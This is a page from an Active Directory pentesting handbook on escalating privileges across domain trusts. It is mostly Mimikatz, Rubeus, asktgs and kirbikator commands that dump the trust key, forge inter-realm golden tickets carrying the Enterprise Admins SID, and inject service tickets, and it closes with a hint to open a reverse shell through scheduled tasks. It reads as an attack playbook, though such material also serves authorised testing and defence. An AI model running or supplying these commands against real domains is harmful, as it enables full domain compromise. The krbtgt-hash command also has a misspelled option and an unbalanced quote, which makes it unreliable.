> For the complete documentation index, see [llms.txt](https://aidenpearce369.gitbook.io/handbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aidenpearce369.gitbook.io/handbook/ad-pentesting/domain-privilege-escalation/trust-based-domain-attacks.md).

# TRUST BASED DOMAIN ATTACKS

### USING TRUST KEY

We need Domain Admin privileges to extract trust key and perform attacks across domains with trust

To get the domain trust key using Mimikatz

```
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
```

Create a Inter-Realm TGT for the target domain

```
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<ATTACKER DOMAIN NAME> /sid:<ATTACKER DOMAIN SID> /sids:<TARGET DOMAIN SID>-<RID> /rc4:<TRUST KEY> /service:krbtgt /target:<TARGET DOMAIN NAME> /ticket:<TICKET PATH>"'
```

For specific roles the RID will change. Some important RIDs are,

* Enterprise Admins - 519
* Schema Admins - 518
* Domain Admins - 512

Requesting a TGS from target domain using Inter-Realm TGT for Target Domain's DC

```
.\asktgs.exe <PATH TO TGT> CIFS/<TARGET DOMAIN>
```

Presenting the TGS to the service

```
.\kirbikator.exe lsa <TGS PATH>
```

Or we can use Rubeus to request and present the TGS from TGT

```
.\Rubeus.exe asktgs /ticket:<TRUST TGT> /service:cifs/<TARGET DOMAIN NAME> /dc:<DC OF TARGET DOMAIN> /ptt
```

### USING KRBTGT HASH

Instead of Domain Trust Key, we are using krbtgt hash to request a TGT

Create a Inter-Realm TGT for the target domain

```
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<ATTACKER DOMAIN NAME> /sid:<ATTACKER DOMAIN SID> /sids:<TARGET DOMAIN SID>-<RID> /ktbtgt:<KRBTGT NTLM> /service:krbtgt /target:<TARGET DOMAIN NAME> /ticket:<TICKET PATH>"
```

Executing Pass The Ticket attack with the saved TGT

```
Invoke-Mimikatz -Command '"kerberos::ptt <TGT PATH>"'
```

Try accessing WMI queries, If WMI query output displays

You can use HOST protocol also

Try spawning reverse shell via scheduled tasks